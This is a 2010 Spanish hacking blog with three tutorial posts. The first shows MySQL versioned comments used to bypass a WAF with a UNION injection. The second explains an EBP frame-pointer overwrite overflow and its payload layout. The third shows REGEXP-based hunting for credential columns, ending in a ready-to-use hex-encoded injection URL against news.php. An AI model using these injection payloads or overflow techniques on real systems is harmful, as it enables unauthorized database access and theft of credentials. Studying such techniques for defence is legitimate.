Personal information:

A Coruña, Galicia, Spain

domingo, 14 de febrero de 2010

Bypasseando WAF con comentarios MySQL

Acabo de enterarme de una opción que disponen las bases de datos MySQL, la cual permite ejecutar una consulta contenida entre comentarios (/*sql*/).
Si al comienzo del comentario, incluímos un signo de exclamación " ! ",seguido de un número menor que el de la versión del DBMS, éste ejecutará dicha petición.
En teoría esto, si lo aplicamos dentro de un UNION, nos permitiría bypassear al WAF >:).

Un ejemplillo:

-Imaginemos que esta es la consulta que llega desde un servidor web, con $_GET["user"]="USUARIO";

mysql> select host from user where user='USUARIO';
+------------+
| host |
+------------+
| 127.0.0.1 |
| MyDebian |
| localhost |
+------------+
3 rows in set (0.00 sec)



-Ahora, con $_GET["user"]="'/*!union select @@version*/";

mysql> select host from user where user=''/*!union select @@version*/;
+------------------------+
| host |
+------------------------+
| 5.0.51a-24+lenny2+spu1 |
+------------------------+
1 row in set (0.00 sec)

Como podemos observar..rula!. Por supuesto, existen variantes de esta consulta, así que os recomiendo jugar un ratito con vuestras bases de datos jeje.
Así, podemos concluir con que tenemos un nuevo golpe que propinar a las BBDD, ya sabéis..Al abordaje!

-H4ppyH4ck1n9-

sábado, 13 de febrero de 2010

Local Buffer Overflow ? ? ?

Supongo que los aficionados al tema conoceréis la siempre ansiada revista SET E-ZINE (http://www.set-ezine.org/), de la que muchos somos lectores y practicantes.

Como aún estoy comenzando en el tema de los Buffer Overflows, al echar un vistazo al índice del nº 37 y ver el artículo Jugando con Frame Pointer, me subió la bilirrubina, así que intentaré explicarlo brevemente.

Resulta que en él, BlackAngel demuestra como desviar el flujo de una aplicación vulnerable al desbordamiento de buffer tan sólo sobreescribiendo la dirección contenida en el Frame Pointer (EBP). Pues esto algo nuevo comparado con el desbordamiento de buffer tradicional, ya que ahí sobreescribiríamos la dirección contenida en el ESP, y como en este mundo tiene que haber de todo, tambien podríamos encontrarnos con programas que no permitan sobreescribir tanto como para llegar al ESP, y nos quedemos a las puertas de éste, en el EBP.

Un ejemplo de un programa asi puede ser el siguiente (by smashthestack.org):



Es un caso parecido al típico, con la particularidad de la funcioncita de marras.
En ella, se calcula el espacio de memoria existente entre EBP y el array de 256 celdas. El puntero i, que ocupa 4 bytes, es pusheado en la pila de manera que queda situado entre EBP y el buffer, de modo que estos 256 bytes de separación que habia en un principio, son en realidad 260, si no contamos con la alineación, optimización, y demás cosiyas de la pila.

Como explica bien bien BackAngel en su artículo, en el epílogo de toda función, hay un momento en el que se deshace el marco de pila hecho en el prólogo de la función, de la siguiente manera:



Pues imaginemos que ésta es el epílogo de la función main().
Vemos que en la primera instrucción el contenido del EBP es pasado a ESP, antes de que el valor del EBP de main() guardado en la pila, vuelva a su sitio y aumente ESP en 4.

Sabiendo que al llegar al ret, EIP retoma su valor de una dirección de memoria (X) a la que apunta la dirección de memoria (Y) que contiene ESP, podemos deducir que.. EIP es nuestro!!! :D.

ESP -> y; y -> x; x = EIP < = Sobreescribiendo EIP..

Por lo tanto, para llegar a la sabrosa ejecución de código árbitrario, deberíamos:

-Sobreescribir EBP con [direccionA]-4 (por que el ESP le suma 4, recordad);
-Conseguir que [direccionA]-4 apunte a la dirección de inicio de la shellcode [direccionB];
-Conseguir la dirección de la shellcode.

Si seguimos los pasos indicados en el artículo, es de lo más sencillo: colocamos en los 4 primeros bytes del buffer la dirección de inicio de la shellcode (que es el contenido de [direccion]-4), en los 4 siguientes la shellcode, en los 4 últimos a [direccion]-4 y el resto con relleno.Oseasé:

[                    BUFFER                 ] [  *i  ] [          EBP         ] [ EIP ]
------------------------------------------------------------------------
[ direccionB ] [ SHELLCODE ] [ RELLENO ] [ [direccionA]-4 ] [ EIP ]



[ direccionB ] -> [ SHELLCODE ] [ RELLENO ] [ [direccionA]-4 ] [ EIP ]
^                                                                     |
o-------------------------------------------------------o



Bueno jeje, aquí termina la explicación teórica, epero que no haya sido muy jodido de leer; la práctica la tenéis en el propio artículo, http://www.set-ezine.org/index.php?num=37&art=3#top , pero podeis probar por vosotros mismos ;).


Gracias a BlackAngel, por impartir tantos papers como pa sustituir el hueco que dejaría la biblia.

-H4ppyH4ck1n9-

miércoles, 10 de febrero de 2010

Expresiones regulares en SQL Injection (MySQL)

Hace tiempo, leí en un paper del famoso Milw0rm en el que OzX explicaba un método mediante el cual reducíamos un pelín las consultas necesarias para extraer información, usando nuestas queridas expresiones regulares, y como no lo he visto comentado en ningun sitio más, una lucecita se me encendió, y por ello estoy aquí, con la intención de explicarlo lo mejor posible.

La forma de construirlas es la siguiente:

[+] SELECT * FROM table WHERE field REGEXP 'expression';

Sencillo, no?
Bien, ahora la complejidad de las expresiones es igual al límite de tu imaginación, como siempre ;).
Para guiarnos un poco, en el lugar de la expresión (expression) podríamos colocar una sentencia como la siguiente:

'(user|pass|login)'

Y encontraría la información necesitada, de existir, que contenga en el campo especificado alguna de esas 3 palabras; como vemos, podemos usar operadores booleanos, pero tambien tenemos otros caracteres, pudiendo llegar a construir expresiones más retorcidas:

'(us[ue]|log[io]n|adm)'

Con esto, conseguimos (como bien explica OzX) algo parecido a la anterior, solo que esta vez mantenemos la raíz de la palabra sin variar, y variamos las demás letras, ampliando el abanico de cadenas a buscar (usuario,users,logon,etc...).

Esto podría ser aplicado para que, por ejemplo nos buscase las tablas que contengan columnas con nombres "sospechosos":

SELECT group_concat(table_name) FROM information_schema.columns WHERE column_name REGEXP '.*((us[ue]|log[io]n|adm)).*';

Devolvería todas las tablas formadas con al menos una columna que contenga en su nombre alguna de las cadenas buscadas.

Esto todo esta muy bien cuando lo introducimos en nuestra shell o gestor favorito de BBDD, pero como lo aplicamos a una inyeccion sql?
Pues, para inyectar estas consultas, tenemos que pasarlas a hexadecimal, quitandole las ', quedando el ejemplo anterior como sigue, explotando una supuesta vulnerabilidad:

news.php?idnew=-1'+UNION+SELECT+ 1,group_concat(table_name),3+FROM+information_schema.columns+
WHERE+table_name+REGEXP+0x2e2a282875735b75655d7c6c6f675b696f5d6e7c61646d29292e2a--

Y ahí queda!

-H4ppyH4ck1n9-